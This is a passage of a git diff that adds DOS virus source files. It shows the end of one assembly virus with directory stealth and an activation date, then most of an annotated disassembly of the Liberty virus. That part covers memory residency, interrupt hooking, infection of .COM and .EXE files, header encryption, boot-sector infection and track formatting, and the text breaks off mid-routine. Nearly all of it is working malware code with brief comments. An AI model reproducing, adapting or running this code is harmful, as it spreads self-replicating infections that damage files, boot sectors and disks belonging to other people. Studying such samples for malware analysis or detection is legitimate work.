not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 014H ;day for the action +action_mes Db 05H ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/l/LIBERTY2.ASM b/l/LIBERTY2.ASM new file mode 100755 index 0000000..ad39d29 --- /dev/null +++ b/l/LIBERTY2.ASM @@ -0,0 +1,1194 @@ +CS:0110 EB79 JMP 018B +CS:0112 90 NOP +; +; The program's original infomation is stored between these sections +; +CS:018B 2E CS: +CS:018C 803E090201 CMP BYTE PTR [0209],01 ; .EXE file ? +CS:0191 7403 JZ 0196 +CS:0193 1F POP DS +CS:0194 59 POP CX +CS:0195 5B POP BX +CS:0196 50 PUSH AX +CS:0197 53 PUSH BX +CS:0198 51 PUSH CX +CS:0199 52 PUSH DX +CS:019A 1E PUSH DS +CS:019B 06 PUSH ES +CS:019C 1E PUSH DS +CS:019D 0E PUSH CS +CS:019E 1F POP DS +CS:019F E8CD00 CALL 026F ; Installation check +CS:01A2 3DFFFF CMP AX,FFFF +CS:01A5 741A JZ 01C1 +CS:01A7 E8D700 CALL 0281 ; Get vector 21h +CS:01AA 07 POP ES +CS:01AB 06 PUSH ES +CS:01AC 8CC0 MOV AX,ES +CS:01AE 48 DEC AX +CS:01AF 8ED8 MOV DS,AX +CS:01B1 E8DC00 CALL 0290 ; Adjust MCB +CS:01B4 8EC0 MOV ES,AX +CS:01B6 0E PUSH CS +CS:01B7 1F POP DS +CS:01B8 E8EC00 CALL 02A7 ; Move to Upper Memory +CS:01BB E8F400 CALL 02B2 ; Set vector 21h +CS:01BE E80101 CALL 02C2 ; Set installation flag +CS:01C1 2E CS: +CS:01C2 803E090201 CMP BYTE PTR [0209],01 ; .EXE file ? +CS:01C7 7417 JZ 01E0 +CS:01C9 07 POP ES +CS:01CA 0E PUSH CS +CS:01CB 1F POP DS +CS:01CC E80901 CALL 02D8 ; Decrypt header +CS:01CF E81901 CALL 02EB ; Restore header +CS:01D2 07 POP ES +CS:01D3 1F POP DS +CS:01D4 5A POP DX +CS:01D5 59 POP CX +CS:01D6 5B POP BX +CS:01D7 58 POP AX +CS:01D8 1E PUSH DS +CS:01D9 BF0001 MOV DI,0100 +CS:01DC 57 PUSH DI +CS:01DD 33FF XOR DI,DI +CS:01DF CB RETF ; Start file +CS:01E0 FA CLI +CS:01E1 5E POP SI +CS:01E2 07 POP ES +CS:01E3 1F POP DS +CS:01E4 5A POP DX +CS:01E5 59 POP CX +CS:01E6 5B POP BX +CS:01E7 58 POP AX +CS:01E8 2E CS: +CS:01E9 8B3E2C06 MOV DI,[062C] +CS:01ED 03FE ADD DI,SI +CS:01EF 8ED7 MOV SS,DI +CS:01F1 2E CS: +CS:01F2 8B3E2E06 MOV DI,[062E] +CS:01F6 8BE7 MOV SP,DI ; Restore stack +CS:01F8 2E CS: +CS:01F9 8B3E2806 MOV DI,[0628] +CS:01FD 03FE ADD DI,SI +CS:01FF 57 PUSH DI +CS:0200 2E CS: +CS:0201 FF362A06 PUSH [062A] +CS:0205 33F6 XOR SI,SI +CS:0207 EBD4 JMP 01DD ; Start file +; +; The encrypted Liberty header for .COM files +; +DS:0200 1D 69 D9 00 01 01 +DS:0210 80 80 40 40 20 20 10 10-08 08 A4 05 D2 04 C9 02 +DS:0220 4C 81 A8 40 49 20 21 90-0B 48 E8 69 95 05 4A 92 +DS:0230 21 1D 40 A8 43 28 90 14-4E 4C 07 27 D3 22 81 81 +DS:0240 C0 B0 40 C4 79 20 90 29-5C D0 AE 69 57 35 2B 9A +DS:0250 31 CD 34 40 51 53 AE 5D-62 C0 E3 C1 B0 35 58 F6 +DS:0260 46 E5 20 02 +; +; Various subroutines used by the virus +; +CS:026F 2E CS: +CS:0270 8A1E6A02 MOV BL,[026A] +CS:0274 32FF XOR BH,BH +CS:0276 33C0 XOR AX,AX +CS:0278 8ED8 MOV DS,AX +CS:027A D1E3 SHL BX,1 +CS:027C D1E3 SHL BX,1 +CS:027E 8B07 MOV AX,[BX] +CS:0280 C3 RET +CS:0281 A18400 MOV AX,[0084] +CS:0284 2E CS: +CS:0285 A38C03 MOV [038C],AX +CS:0288 A18600 MOV AX,[0086] +CS:028B 2E CS: +CS:028C A38E03 MOV [038E],AX +CS:028F C3 RET +CS:0290 BB4221 MOV BX,2142 +CS:0293 B104 MOV CL,04 +CS:0295 D3EB SHR BX,CL +CS:0297 291E0300 SUB [0003],BX +CS:029B A10300 MOV AX,[0003] +CS:029E 03060100 ADD AX,[0001] +CS:02A2 A31200 MOV [0012],AX +CS:02A5 40 INC AX +CS:02A6 C3 RET +CS:02A7 BF1001 MOV DI,0110 +CS:02AA 8BF7 MOV SI,DI +CS:02AC B99A05 MOV CX,059A +CS:02AF F3 REPZ +CS:02B0 A5 MOVSW +CS:02B1 C3 RET +CS:02B2 33C0 XOR AX,AX +CS:02B4 8ED8 MOV DS,AX +CS:02B6 FA CLI +CS:02B7 B86C03 MOV AX,036C +CS:02BA A38400 MOV [0084],AX +CS:02BD 8C068600 MOV [0086],ES +CS:02C1 C3 RET +CS:02C2 FA CLI +CS:02C3 B8FFFF MOV AX,FFFF +CS:02C6 2E CS: +CS:02C7 8A1E6A02 MOV BL,[026A] +CS:02CB 32FF XOR BH,BH +CS:02CD D1E3 SHL BX,1 +CS:02CF D1E3 SHL BX,1 +CS:02D1 8907 MOV [BX],AX +CS:02D3 40 INC AX +CS:02D4 894702 MOV [BX+02],AX +CS:02D7 C3 RET +CS:02D8 B93C00 MOV CX,003C +CS:02DB BE1301 MOV SI,0113 +CS:02DE 2E CS: +CS:02DF 8B14 MOV DX,[SI] +CS:02E1 D3CA ROR DX,CL +CS:02E3 2E CS: +CS:02E4 8914 MOV [SI],DX +CS:02E6 46 INC SI +CS:02E7 46 INC SI +CS:02E8 E2F4 LOOP 02DE +CS:02EA C3 RET +CS:02EB BF0001 MOV DI,0100 +CS:02EE BE1301 MOV SI,0113 +CS:02F1 B93C00 MOV CX,003C +CS:02F4 F3 REPZ +CS:02F5 A5 MOVSW +CS:02F6 C3 RET +; +; I am not sure what the next routine is supposed to be doing. +; +CS:02F7 9C PUSHF +CS:02F8 2E CS: +CS:02F9 803E100301 CMP BYTE PTR [0310],01 +CS:02FE 740A JZ 030A +CS:0300 80FC03 CMP AH,03 +CS:0303 7505 JNZ 030A +CS:0305 80FA80 CMP DL,80 +CS:0308 7207 JB 0311 +CS:030A 9D POPF +CS:030B EA00000000 JMP 0000:0000 +CS:0311 06 PUSH ES +CS:0312 0E PUSH CS +CS:0313 07 POP ES +CS:0314 B80902 MOV AX,0209 +CS:0317 BB420C MOV BX,0C42 +CS:031A B90100 MOV CX,0001 +CS:031D 9C PUSHF +CS:031E 2E CS: +CS:031F FF1E0C03 CALL FAR [030C] +CS:0323 72E5 JB 030A +CS:0325 B80905 MOV AX,0509 +CS:0328 BB4803 MOV BX,0348 +CS:032B B93100 MOV CX,0031 +CS:032E 9C PUSHF +CS:032F 2E CS: +CS:0330 FF1E0C03 CALL FAR [030C] +CS:0334 72D4 JB 030A +CS:0336 B80903 MOV AX,0309 +CS:0339 BB420C MOV BX,0C42 +CS:033C B93100 MOV CX,0031 +CS:033F 9C PUSHF +CS:0340 2E CS: +CS:0341 FF1E0C03 CALL FAR [030C] +CS:0345 07 POP ES +CS:0346 9D POPF +CS:0347 CF IRET +; +; Another format table used by the virus +; +DS:0340 00 00 31 02 00 00 32 02 +DS:0350 00 00 33 02 00 00 34 02-00 00 35 02 00 00 36 02 +DS:0360 00 00 37 02 00 00 38 02-00 00 39 02 +; +; The virus infects files by monitoring function 4Bh of vector 21h +; +CS:036C 9C PUSHF +CS:036D 3D004B CMP AX,4B00 ; Execute function ? +CS:0370 741E JZ 0390 +CS:0372 EB16 JMP 038A +CS:0374 90 NOP +CS:0375 E8B901 CALL 0531 ; Close file +CS:0378 E89A00 CALL 0415 ; Restore vectors +CS:037B C6060C04FF MOV BYTE PTR [040C],FF +CS:0380 90 NOP +CS:0381 9D POPF +CS:0382 07 POP ES +CS:0383 1F POP DS +CS:0384 5F POP DI +CS:0385 5E POP SI +CS:0386 5A POP DX +CS:0387 59 POP CX +CS:0388 5B POP BX +CS:0389 58 POP AX +CS:038A 9D POPF +CS:038B EA77142C02 JMP 022C:1477 ; Continue +CS:0390 50 PUSH AX +CS:0391 53 PUSH BX +CS:0392 51 PUSH CX +CS:0393 52 PUSH DX +CS:0394 56 PUSH SI +CS:0395 57 PUSH DI +CS:0396 1E PUSH DS +CS:0397 06 PUSH ES +CS:0398 9C PUSHF +CS:0399 E8A600 CALL 0442 ; Set error vectors +CS:039C E8E100 CALL 0480 ; Open file +CS:039F 72D4 JB 0375 +CS:03A1 0E PUSH CS +CS:03A2 1F POP DS +CS:03A3 0E PUSH CS +CS:03A4 07 POP ES +CS:03A5 A30A04 MOV [040A],AX +CS:03A8 93 XCHG BX,AX +CS:03A9 C6060C0401 MOV BYTE PTR [040C],01 +CS:03AE 90 NOP +CS:03AF E8D800 CALL 048A ; Read file header +CS:03B2 72C1 JB 0375 +CS:03B4 BB1301 MOV BX,0113 +CS:03B7 2E CS: +CS:03B8 813F4D5A CMP WORD PTR [BX],5A4D ; .EXE file ? +CS:03BC 7505 JNZ 03C3 +CS:03BE E8C001 CALL 0581 ; Adapt header +CS:03C1 EBB2 JMP 0375 +CS:03C3 2E CS: +CS:03C4 C606090200 MOV BYTE PTR [0209],00 ; Set switch +CS:03C9 E8CD00 CALL 0499 ; Check infection +CS:03CC 74A7 JZ 0375 +CS:03CE E8DD00 CALL 04AE ; Encrypt header +CS:03D1 E8EB00 CALL 04BF ; Move to EOF +CS:03D4 729F JB 0375 +CS:03D6 83FA00 CMP DX,+00 ; +CS:03D9 759A JNZ 0375 ; +CS:03DB 3D0005 CMP AX,0500 ; +CS:03DE 7295 JB 0375 ; +CS:03E0 3DFFEF CMP AX,EFFF ; +CS:03E3 7390 JNB 0375 ; Check file size +CS:03E5 E8EA00 CALL 04D2 ; Move to next paragraph +CS:03E8 728B JB 0375 +CS:03EA E80701 CALL 04F4 ; Write virus +CS:03ED 7286 JB 0375 +CS:03EF 3BC1 CMP AX,CX +CS:03F1 7C11 JL 0404 +CS:03F3 E81301 CALL 0509 ; Move to BOF +CS:03F6 7209 JB 0401 +CS:03F8 E86201 CALL 055D ; Decrypt Libery header +CS:03FB E81E01 CALL 051C ; Write Liberty header +CS:03FE E86F01 CALL 0570 ; Encrypt Liberty Header +CS:0401 E971FF JMP 0375 +CS:0404 E83801 CALL 053F ; Set & get vector 13h +CS:0407 E96BFF JMP 0375 +; +; Revectoring of error vectors. +; +CS:0415 1E PUSH DS +CS:0416 33DB XOR BX,BX +CS:0418 8EDB MOV DS,BX +CS:041A FA CLI +CS:041B 2E CS: +CS:041C 8B1E0D04 MOV BX,[040D] +CS:0420 891E8C00 MOV [008C],BX +CS:0424 2E CS: +CS:0425 8B1E0F04 MOV BX,[040F] +CS:0429 891E8E00 MOV [008E],BX +CS:042D FA CLI +CS:042E 2E CS: +CS:042F 8B1E1104 MOV BX,[0411] +CS:0433 891E9000 MOV [0090],BX +CS:0437 2E CS: +CS:0438 8B1E1304 MOV BX,[0413] +CS:043C 891E8E00 MOV [008E],BX +CS:0440 1F POP DS +CS:0441 C3 RET +CS:0442 1E PUSH DS +CS:0443 33DB XOR BX,BX +CS:0445 8EDB MOV DS,BX +CS:0447 8B1E8C00 MOV BX,[008C] +CS:044B 2E CS: +CS:044C 891E0D04 MOV [040D],BX +CS:0450 8B1E8E00 MOV BX,[008E] +CS:0454 2E CS: +CS:0455 891E0F04 MOV [040F],BX +CS:0459 FA CLI +CS:045A BB3106 MOV BX,0631 +CS:045D 891E8C00 MOV [008C],BX +CS:0461 8C0E8E00 MOV [008E],CS +CS:0465 8B1E9000 MOV BX,[0090] +CS:0469 2E CS: +CS:046A 891E1104 MOV [0411],BX +CS:046E 8B1E9200 MOV BX,[0092] +CS:0472 FA CLI +CS:0473 BB3206 MOV BX,0632 +CS:0476 891E9000 MOV [0090],BX +CS:047A 8C0E9200 MOV [0092],CS +CS:047E 1F POP DS +CS:047F C3 RET +; +; Various subroutines used by the virus +; +CS:0480 B8023D MOV AX,3D02 +CS:0483 9C PUSHF +CS:0484 2E CS: +CS:0485 FF1E8C03 CALL FAR [038C] +CS:0489 C3 RET +CS:048A B43F MOV AH,3F +CS:048C B97800 MOV CX,0078 +CS:048F BA1301 MOV DX,0113 +CS:0492 9C PUSHF +CS:0493 2E CS: +CS:0494 FF1E8C03 CALL FAR [038C] +CS:0498 C3 RET +CS:0499 BF1301 MOV DI,0113 +CS:049C 81C76802 ADD DI,0268 +CS:04A0 81EF0A02 SUB DI,020A +CS:04A4 BE6802 MOV SI,0268 +CS:04A7 FC CLD +CS:04A8 B90700 MOV CX,0007 +CS:04AB F3 REPZ +CS:04AC A6 CMPSB +CS:04AD C3 RET +CS:04AE B93C00 MOV CX,003C +CS:04B1 BE1301 MOV SI,0113 +CS:04B4 8B14 MOV DX,[SI] +CS:04B6 D3C2 ROL DX,CL +CS:04B8 8914 MOV [SI],DX +CS:04BA 46 INC SI +CS:04BB 46 INC SI +CS:04BC E2F6 LOOP 04B4 +CS:04BE C3 RET +CS:04BF B80242 MOV AX,4202 +CS:04C2 2E CS: +CS:04C3 8B1E0A04 MOV BX,[040A] +CS:04C7 33C9 XOR CX,CX +CS:04C9 33D2 XOR DX,DX +CS:04CB 9C PUSHF +CS:04CC 2E CS: +CS:04CD FF1E8C03 CALL FAR [038C] +CS:04D1 C3 RET +CS:04D2 B90400 MOV CX,0004 +CS:04D5 D3E8 SHR AX,CL +CS:04D7 BB6602 MOV BX,0266 +CS:04DA 8907 MOV [BX],AX +CS:04DC 40 INC AX +CS:04DD B90400 MOV CX,0004 +CS:04E0 D3E0 SHL AX,CL +CS:04E2 92 XCHG DX,AX +CS:04E3 33C9 XOR CX,CX +CS:04E5 B80042 MOV AX,4200 +CS:04E8 2E CS: +CS:04E9 8B1E0A04 MOV BX,[040A] +CS:04ED 9C PUSHF +CS:04EE 2E CS: +CS:04EF FF1E8C03 CALL FAR [038C] +CS:04F3 C3 RET +CS:04F4 B9330B MOV CX,0B33 +CS:04F7 B80040 MOV AX,4000 +CS:04FA BA1001 MOV DX,0110 +CS:04FD 2E CS: +CS:04FE 8B1E0A04 MOV BX,[040A] +CS:0502 9C PUSHF +CS:0503 2E CS: +CS:0504 FF1E8C03 CALL FAR [038C] +CS:0508 C3 RET +CS:0509 B80042 MOV AX,4200 +CS:050C 2E CS: +CS:050D 8B1E0A04 MOV BX,[040A] +CS:0511 33C9 XOR CX,CX +CS:0513 33D2 XOR DX,DX +CS:0515 9C PUSHF +CS:0516 2E CS: +CS:0517 FF1E8C03 CALL FAR [038C] +CS:051B C3 RET +CS:051C BA0A02 MOV DX,020A +CS:051F B80040 MOV AX,4000 +CS:0522 2E CS: +CS:0523 8B1E0A04 MOV BX,[040A] +CS:0527 B97800 MOV CX,0078 +CS:052A 9C PUSHF +CS:052B 2E CS: +CS:052C FF1E8C03 CALL FAR [038C] +CS:0530 C3 RET +CS:0531 B43E MOV AH,3E +CS:0533 2E CS: +CS:0534 8B1E0A04 MOV BX,[040A] +CS:0538 9C PUSHF +CS:0539 2E CS: +CS:053A FF1E8C03 CALL FAR [038C] +CS:053E C3 RET +CS:053F 33C0 XOR AX,AX +CS:0541 8ED8 MOV DS,AX +CS:0543 FA CLI +CS:0544 A14C00 MOV AX,[004C] +CS:0547 2E CS: +CS:0548 A31407 MOV [0714],AX +CS:054B A14E00 MOV AX,[004E] +CS:054E 2E CS: +CS:054F A31607 MOV [0716],AX +CS:0552 B8F906 MOV AX,06F9 +CS:0555 A34C00 MOV [004C],AX +CS:0558 8C0E4E00 MOV [004E],CS +CS:055C C3 RET +; +; Header encrypting +; +CS:055D B92D00 MOV CX,002D +CS:0560 BE0A02 MOV SI,020A +CS:0563 2E CS: +CS:0564 8B3C MOV DI,[SI] +CS:0566 D3CF ROR DI,CL +CS:0568 2E CS: +CS:0569 893C MOV [SI],DI +CS:056B 46 INC SI +CS:056C 46 INC SI +CS:056D E2F4 LOOP 0563 +CS:056F C3 RET +CS:0570 BE0A02 MOV SI,020A +CS:0573 B92D00 MOV CX,002D +CS:0576 8B3C MOV DI,[SI] +CS:0578 D3C7 ROL DI,CL +CS:057A 893C MOV [SI],DI +CS:057C 46 INC SI +CS:057D 46 INC SI +CS:057E E2F6 LOOP 0576 +CS:0580 C3 RET +; +; .EXE file handling +; +CS:0581 8B7F02 MOV DI,[BX+02] +CS:0584 83FFFF CMP DI,-01 ; Check infection +CS:0587 7439 JZ 05C2 +CS:0589 8B7F16 MOV DI,[BX+16] +CS:058C 83C710 ADD DI,+10 +CS:058F 893E2806 MOV [0628],DI +CS:0593 8B7F14 MOV DI,[BX+14] +CS:0596 893E2A06 MOV [062A],DI +CS:059A 8B7F0E MOV DI,[BX+0E] +CS:059D 83C710 ADD DI,+10 +CS:05A0 893E2C06 MOV [062C],DI +CS:05A4 8B7F10 MOV DI,[BX+10] +CS:05A7 893E2E06 MOV [062E],DI +CS:05AB BF1001 MOV DI,0110 +CS:05AE 897F14 MOV [BX+14],DI ; Set IP +CS:05B1 BF420D MOV DI,0D42 +CS:05B4 897F10 MOV [BX+10],DI ; Set SP +CS:05B7 2E CS: +CS:05B8 C606090201 MOV BYTE PTR [0209],01 ; Set switch +CS:05BD E8FFFE CALL 04BF ; Move to EOF +CS:05C0 7301 JNB 05C3 +CS:05C2 C3 RET +CS:05C3 83FA0A CMP DX,+0A ; +CS:05C6 77FA JA 05C2 ; Check file size +CS:05C8 B104 MOV CL,04 +CS:05CA D3E8 SHR AX,CL +CS:05CC 40 INC AX +CS:05CD 3D0010 CMP AX,1000 +CS:05D0 7501 JNZ 05D3 +CS:05D2 42 INC DX +CS:05D3 D3E0 SHL AX,CL +CS:05D5 50 PUSH AX +CS:05D6 52 PUSH DX +CS:05D7 B91000 MOV CX,0010 +CS:05DA F7F1 DIV CX +CS:05DC BB1301 MOV BX,0113 +CS:05DF 2D1100 SUB AX,0011 +CS:05E2 8B7F08 MOV DI,[BX+08] +CS:05E5 2BC7 SUB AX,DI +CS:05E7 894716 MOV [BX+16],AX ; Set CodeSegment +CS:05EA 89470E MOV [BX+0E],AX ; Set StackSegment +CS:05ED 59 POP CX +CS:05EE 5A POP DX +CS:05EF E8F3FE CALL 04E5 ; Move to next paragraph +CS:05F2 722F JB 0623 +CS:05F4 E8FDFE CALL 04F4 ; Write virus +CS:05F7 722A JB 0623 +CS:05F9 3BC1 CMP AX,CX +CS:05FB 7C27 JL 0624 +CS:05FD E8BFFE CALL 04BF ; Move to BOF +CS:0600 7221 JB 0623 +CS:0602 B90002 MOV CX,0200 +CS:0605 F7F1 DIV CX +CS:0607 83FA00 CMP DX,+00 +CS:060A 7401 JZ 060D +CS:060C 40 INC AX +CS:060D BB1301 MOV BX,0113 +CS:0610 894704 MOV [BX+04],AX ; Set blocks +CS:0613 C74702FFFF MOV WORD PTR [BX+02],FFFF ; Set infection mark +CS:0618 E8EEFE CALL 0509 ; Move to BOF +CS:061B 7206 JB 0623 +CS:061D BA1301 MOV DX,0113 +CS:0620 E8FCFE CALL 051F ; Write header +CS:0623 C3 RET +CS:0624 E818FF CALL 053F ; Set & get vector 13h +CS:0627 C3 RET +; +; Error vectors +; +CS:0631 CF IRET ; Error vector 23h +CS:0632 32C0 XOR AL,AL ; +CS:0634 CF IRET ; Error vector 24h +; +; The next part is the virus's bootsector +; +CS:0635 EB01 JMP 0638 +CS:0637 90 NOP +CS:0638 33C0 XOR AX,AX +CS:063A 8ED0 MOV SS,AX +CS:063C BC007C MOV SP,7C00 +CS:063F 33C0 XOR AX,AX +CS:0641 8EC0 MOV ES,AX +CS:0643 BB1304 MOV BX,0413 ; +CS:0646 26 ES: ; +CS:0647 8B07 MOV AX,[BX] ; +CS:0649 2D0A00 SUB AX,000A ; +CS:064C B106 MOV CL,06 ; +CS:064E 26 ES: ; +CS:064F 8907 MOV [BX],AX ; Decrease memory +CS:0651 D3E0 SHL AX,CL +CS:0653 8EC0 MOV ES,AX +CS:0655 B80802 MOV AX,0208 ; +CS:0658 BB1001 MOV BX,0110 ; +CS:065B B93128 MOV CX,2831 ; +CS:065E 33D2 XOR DX,DX ; +CS:0660 CD13 INT 13 ; Read virus +CS:0662 06 PUSH ES +CS:0663 BB6806 MOV BX,0668 +CS:0666 53 PUSH BX +CS:0667 CB RETF +CS:0668 2E CS: +CS:0669 803EC8060A CMP BYTE PTR [06C8],0A +CS:066E 7446 JZ 06B6 +CS:0670 33C0 XOR AX,AX +CS:0672 8ED8 MOV DS,AX +CS:0674 2E CS: +CS:0675 FE06C806 INC BYTE PTR [06C8] +CS:0679 B80803 MOV AX,0308 +CS:067C BB1001 MOV BX,0110 +CS:067F B93128 MOV CX,2831 +CS:0682 33D2 XOR DX,DX +CS:0684 CD13 INT 13 +CS:0686 E85200 CALL 06DB ; Set & get vector 13h +CS:0689 2E CS: ; +CS:068A C606470BFF MOV BYTE PTR [0B47],FF ; +CS:068F 90 NOP ; +CS:0690 2E CS: ; +CS:0691 C606950BFF MOV BYTE PTR [0B95],FF ; +CS:0696 90 NOP ; +CS:0697 2E CS: ; +CS:0698 C606080CFF MOV BYTE PTR [0C08],FF ; Switches off +CS:069D 90 NOP +CS:069E E82902 CALL 08CA ; Set & get vector 8h +CS:06A1 E85402 CALL 08F8 ; Set & get vector 1Ch +CS:06A4 E84104 CALL 0AE8 ; Set & get vector 10h +CS:06A7 E85804 CALL 0B02 ; Set & get vector 14h +CS:06AA E86F04 CALL 0B1C ; Set & get vector 17h +CS:06AD E81900 CALL 06C9 ; Read original bootsector +CS:06B0 BB007C MOV BX,7C00 ; +CS:06B3 1E PUSH DS ; +CS:06B4 53 PUSH BX ; +CS:06B5 CB RETF ; Start +CS:06B6 E81000 CALL 06C9 ; Read bootsector +CS:06B9 B80103 MOV AX,0301 +CS:06BC BB007C MOV BX,7C00 +CS:06BF B90100 MOV CX,0001 +CS:06C2 33D2 XOR DX,DX +CS:06C4 CD13 INT 13 +CS:06C6 EBE5 JMP 06AD +CS:06C9 33C0 XOR AX,AX +CS:06CB 8EC0 MOV ES,AX +CS:06CD B80102 MOV AX,0201 +CS:06D0 BB007C MOV BX,7C00 +CS:06D3 B93F28 MOV CX,283F +CS:06D6 33D2 XOR DX,DX +CS:06D8 CD13 INT 13 +CS:06DA C3 RET +CS:06DB 33C0 XOR AX,AX +CS:06DD 8ED8 MOV DS,AX +CS:06DF A14C00 MOV AX,[004C] +CS:06E2 2E CS: +CS:06E3 A31608 MOV [0816],AX +CS:06E6 A14E00 MOV AX,[004E] +CS:06E9 2E CS: +CS:06EA A31808 MOV [0818],AX +CS:06ED FA CLI +CS:06EE B8FB07 MOV AX,07FB +CS:06F1 A34C00 MOV [004C],AX +CS:06F4 8C0E4E00 MOV [004E],CS +CS:06F8 C3 RET +; +; Boot sectors are infected via vector 13h +; +CS:06F9 9C PUSHF +CS:06FA 80FC01 CMP AH,01 +CS:06FD 7E13 JLE 0712 +CS:06FF 80FC04 CMP AH,04 +CS:0702 7D0E JGE 0712 +CS:0704 80FA80 CMP DL,80 +CS:0707 720F JB 0718 +CS:0709 E8BE00 CALL 07CA ; Disconnect vector 13h +CS:070C 07 POP ES +CS:070D 1F POP DS +CS:070E 5A POP DX +CS:070F 59 POP CX +CS:0710 5B POP BX +CS:0711 58 POP AX +CS:0712 9D POPF +CS:0713 EA00000000 JMP 0000:0000 +CS:0718 50 PUSH AX +CS:0719 53 PUSH BX +CS:071A 51 PUSH CX +CS:071B 52 PUSH DX +CS:071C 1E PUSH DS +CS:071D 06 PUSH ES +CS:071E B80102 MOV AX,0201 ; +CS:0721 0E PUSH CS ; +CS:0722 07 POP ES ; +CS:0723 0E PUSH CS ; +CS:0724 1F POP DS ; +CS:0725 BB420C MOV BX,0C42 ; +CS:0728 B90100 MOV CX,0001 ; +CS:072B 32F6 XOR DH,DH ; +CS:072D 9C PUSHF ; +CS:072E 2E CS: ; +CS:072F FF1E1407 CALL FAR [0714] ; Read Bootsector +CS:0733 72D4 JB 0709 +CS:0735 0E PUSH CS +CS:0736 1F POP DS +CS:0737 0E PUSH CS +CS:0738 07 POP ES +CS:0739 BE420C MOV SI,0C42 ; +CS:073C BF3506 MOV DI,0635 ; +CS:073F B90A00 MOV CX,000A ; +CS:0742 FC CLD ; +CS:0743 F3 REPZ ; +CS:0744 A7 CMPSW ; Check infection +CS:0745 74C2 JZ 0709 +CS:0747 BE420C MOV SI,0C42 +CS:074A 807C02FF CMP BYTE PTR [SI+02],FF ; Was infected ? +CS:074E 744A JZ 079A +CS:0750 B0FF MOV AL,FF +CS:0752 884402 MOV [SI+02],AL +CS:0755 B80905 MOV AX,0509 ; +CS:0758 BBA607 MOV BX,07A6 ; +CS:075B B93128 MOV CX,2831 ; +CS:075E 9C PUSHF ; +CS:075F 2E CS: ; +CS:0760 FF1E1407 CALL FAR [0714] ; Format track 40 +CS:0764 72A3 JB 0709 +CS:0766 B80103 MOV AX,0301 ; +CS:0769 BB420C MOV BX,0C42 ; +CS:076C B93F28 MOV CX,283F ; +CS:076F 9C PUSHF ; +CS:0770 2E CS: ; +CS:0771 FF1E1407 CALL FAR [0714] ; Write original bootsector +CS:0775 7292 JB 0709 +CS:0777 B80103 MOV AX,0301 ; +CS:077A BB3506 MOV BX,0635 ; +CS:077D B90100 MOV CX,0001 ; +CS:0780 9C PUSHF ; +CS:0781 2E CS: ; +CS:0782 FF1E1407 CALL FAR [0714] ; Write Libery bootsector +CS:0786 7281 JB 0709 +CS:0788 B80803 MOV AX,0308 ; +CS:078B BB1001 MOV BX,0110 ; +CS:078E B93128 MOV CX,2831 ; +CS:0791 9C PUSHF ; +CS:0792 2E CS: ; +CS:0793 FF1E1407 CALL FAR [0714] ; Write Liberty virus +CS:0797 E96FFF JMP 0709 +CS:079A 2E CS: ; +CS:079B C606100300 MOV BYTE PTR [0310],00 ; +CS:07A0 E83B00 CALL 07DE ; Attach ??? +CS:07A3 E963FF JMP 0709 +; +; The format table is next +; +DS:07A0 28 00-31 02 28 00 32 02 28 00 +DS:07B0 33 02 28 00 34 02 28 00-35 02 28 00 36 02 28 00 +DS:07C0 37 02 28 00 38 02 28 00-3F 02 +; +; Revectoring +; +CS:07CA 33C0 XOR AX,AX +CS:07CC 8ED8 MOV DS,AX +CS:07CE FA CLI +CS:07CF 2E CS: +CS:07D0 A11407 MOV AX,[0714] +CS:07D3 A34C00 MOV [004C],AX +CS:07D6 2E CS: +CS:07D7 A11607 MOV AX,[0716] +CS:07DA A34E00 MOV [004E],AX +CS:07DD C3 RET +CS:07DE 2E CS: +CS:07DF A11407 MOV AX,[0714] +CS:07E2 2E CS: +CS:07E3 A30C03 MOV [030C],AX +CS:07E6 2E CS: +CS:07E7 A11607 MOV AX,[0716] +CS:07EA 2E CS: +CS:07EB A30E03 MOV [030E],AX +CS:07EE B8F702 MOV AX,02F7 +CS:07F1 2E CS: +CS:07F2 A31407 MOV [0714],AX +CS:07F5 2E CS: +CS:07F6 8C0E1607 MOV [0716],CS +CS:07FA C3 RET +; +; Boot sectors are infected via vector 13h +; +CS:07FB 9C PUSHF +CS:07FC 80FC03 CMP AH,03 +CS:07FF 7213 JB 0814 +CS:0801 80FC05 CMP AH,05 +CS:0804 730E JNB 0814 +CS:0806 80FA80 CMP DL,80 +CS:0809 720F JB 081A +CS:080B EB07 JMP 0814 +CS:080D 90 NOP +CS:080E 07 POP ES +CS:080F 1F POP DS +CS:0810 5A POP DX +CS:0811 59 POP CX +CS:0812 5B POP BX +CS:0813 58 POP AX +CS:0814 9D POPF +CS:0815 EA00000000 JMP 0000:0000 +CS:081A 50 PUSH AX +CS:081B 53 PUSH BX +CS:081C 51 PUSH CX +CS:081D 52 PUSH DX +CS:081E 1E PUSH DS +CS:081F 06 PUSH ES +CS:0820 2E CS: +CS:0821 803E0C0401 CMP BYTE PTR [040C],01 +CS:0826 74E6 JZ 080E +CS:0828 B80102 MOV AX,0201 ; +CS:082B 0E PUSH CS ; +CS:082C 07 POP ES ; +CS:082D 0E PUSH CS ; +CS:082E 1F POP DS ; +CS:082F BB420C MOV BX,0C42 ; +CS:0832 B90100 MOV CX,0001 ; +CS:0835 32F6 XOR DH,DH ; +CS:0837 9C PUSHF ; +CS:0838 2E CS: ; +CS:0839 FF1E1608 CALL FAR [0816] ; Read bootsector +CS:083D 72CF JB 080E +CS:083F 0E PUSH CS +CS:0840 1F POP DS +CS:0841 0E PUSH CS +CS:0842 07 POP ES +CS:0843 BE420C MOV SI,0C42 ; +CS:0846 BF3506 MOV DI,0635 ; +CS:0849 B90A00 MOV CX,000A ; +CS:084C FC CLD ; +CS:084D F3 REPZ ; +CS:084E A7 CMPSW ; Check infection +CS:084F 74BD JZ 080E +CS:0851 B0FF MOV AL,FF +CS:0853 884702 MOV [BX+02],AL +CS:0856 B80905 MOV AX,0509 ; +CS:0859 BBA607 MOV BX,07A6 ; +CS:085C B93128 MOV CX,2831 ; +CS:085F 9C PUSHF ; +CS:0860 2E CS: ; +CS:0861 FF1E1608 CALL FAR [0816] ; Format track 28 +CS:0865 72A7 JB 080E +CS:0867 B80103 MOV AX,0301 ; +CS:086A BB420C MOV BX,0C42 ; +CS:086D B93F28 MOV CX,283F ; +CS:0870 9C PUSHF ; 